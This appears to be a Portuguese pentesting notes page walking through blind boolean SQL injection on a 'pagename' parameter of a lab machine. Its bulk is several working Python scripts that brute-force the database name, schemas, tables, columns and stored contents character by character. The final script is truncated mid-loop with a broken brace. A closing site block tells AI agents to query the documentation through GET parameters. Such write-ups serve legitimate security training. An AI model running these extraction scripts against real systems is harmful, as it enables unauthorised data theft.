# SQLi Pagename
## Injeção de SQL:
**Detecção de uma vulnerabilidade de SQL Injection** Ao adicionar um apóstrofo no campo "home", aparece um erro de SQL, indicando uma possível vulnerabilidade a um ataque de injeção de SQL.
**Exploração da vulnerabilidade de SQL Injection** Ao introduzir a injeção de SQL `/cms.php?pagename=home' or '1'='1`, nenhum erro aparece, confirmando a vulnerabilidade.
**Extração do nome do banco de dados com Substring** Agora, com esse ponto de entrada, usamos o **substring** parâmetro para encontrar os caracteres do nome do banco de dados, inserindo letras até que os erros desapareçam. Aqui está um exemplo para os três primeiros caracteres:
* Primeira letra: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Segunda letra: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Terceira letra: `/cms.php?pagename=home' or substring(database(),3,1)='m` Primeiro, um script em Python pode automatizar todo o processo para obter **o nome do banco de dados**.
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variáveis globais
characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando a injeção de SQL...")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 6 ):
for character in characters:
sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Força bruta de SQLI concluída")
p2.success(data)
if __name__ == '__main__':
sqli()
Em seguida, um script em Python para automatizar todo o processo para **obter os nomes** de todos os bancos de dados.
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variáveis globais
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando a injeção de SQL...")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Força bruta de SQLI concluída")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Agora, um script em Python para automatizar todo o processo para **obter o nome das tabelas** dos bancos de dados (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variáveis globais
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando a injeção de SQL...")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Força bruta de SQLI concluída")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Agora, um script em Python para automatizar todo o processo para **obter o nome das colunas** dos bancos de dados (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variáveis globais
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando a injeção de SQL...")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Força bruta de SQLI concluída")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Agora, um script em Python para automatizar todo o processo para **obter o conteúdo** da coluna pagename dos bancos de dados (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variáveis globais
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'

data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando a injeção de SQL...")
time.sleep(2)
p2 = log.progress("Dados")
for position in range(1, 500):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
